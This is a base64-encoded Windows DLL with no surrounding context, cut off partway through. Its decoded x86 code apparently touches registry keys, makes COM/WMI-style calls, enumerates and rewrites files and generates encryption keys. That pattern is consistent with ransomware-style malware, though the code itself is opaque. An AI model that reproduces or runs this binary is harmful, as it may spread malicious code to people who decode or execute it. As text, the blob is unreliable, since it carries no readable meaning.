"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OUgAAI1FyMZFtQBQVmoPaDoKAABocAIBEOgfSAAAg8RQxkXLAI1F+FBqAmoGXlZoMQMAAGhwAgEQ6P9HAACNRajGRfoAUFZqEGiLAQAAaHACARDo5UcAAI1FxMZFrgBQagNqBGj0DAAAaHACARDoykcAAI1FoMZFxwBQVmoOaAYFAABocAIBEOiwRwAAjUX8xkWmAImF1P7//4PEUI1F6MeF3P7//5QRABCJheD+//+NReSJhez+//+NReCJhfj+//+NRdxqBVmJhQT///+NRdiJjdj+//+JjeT+///Hhej+//91EQAQiY3w/v//x4X0/v//dxIAEIm1/P7//8eFAP///34QABDHhQj///8BAAAAx4UM////LBMAEImFEP///2oCjUXUiY0s////iYUc////jUXQiYUo////jUXMiYU0////jUW4iYVA////jUWwiYVM////jUXIiYVY////jUX4iYVk////jUWoWomFcP///41FxGoDiYV8////jUWgiY1E////iY1Q////iY1c////WYlFiI2F1P7//2oQUFeJlRT////HhRj////xEQAQiZUg////x4Uk////NBIAEMeFMP///5EQABCJtTj////HhTz///8DEQAQx4VI////FhEAEMeFVP///1YRABDHhWD////DEAAQiY1o////x4Vs////sBAAEImNdP///8eFeP///2QSABCJdYDHRYRrEAAQiU2Mx0WQIRIAEOgNTwAAi/CNhYz+//9XUOizqwAAU+gPMAAAg8QYhfYPhEYDAADooQkAAKMUIgEQu3ACARCNRexQaghqD19XaPYBAABT6MhFAAAzwGaJRfSNRZRQaghXahpT6LNFAAAzwGaJRZyNhcj+//9QagpqDmjsBgAAU+iXRQAAM8BQaiBoACEBEGaJhdL+///o3kQAAIPESKMMIgEQ6Lk2AACjECIBEIXAdQ+NRexQ6IJJAABZoxAiARDoDAMAAKMIIgEQ6M83AACjGCIBEIXAdQ+NRexQ6FtJAABZoxgiARDoGDMAAKMcIgEQhcB1D41F7FDoPkkAAFmjHCIBEOhnNAAAoyAiARCFwHUPjUXsUOghSQAAWaMgIgEQ6GY1AACjJCIBEIXAdQ+NRexQ6ARJAABZoyQiARDoOTgAAIXAjZXI/v//jU2UD0TKUejlSAAAWaMoIgEQ6MY2AACj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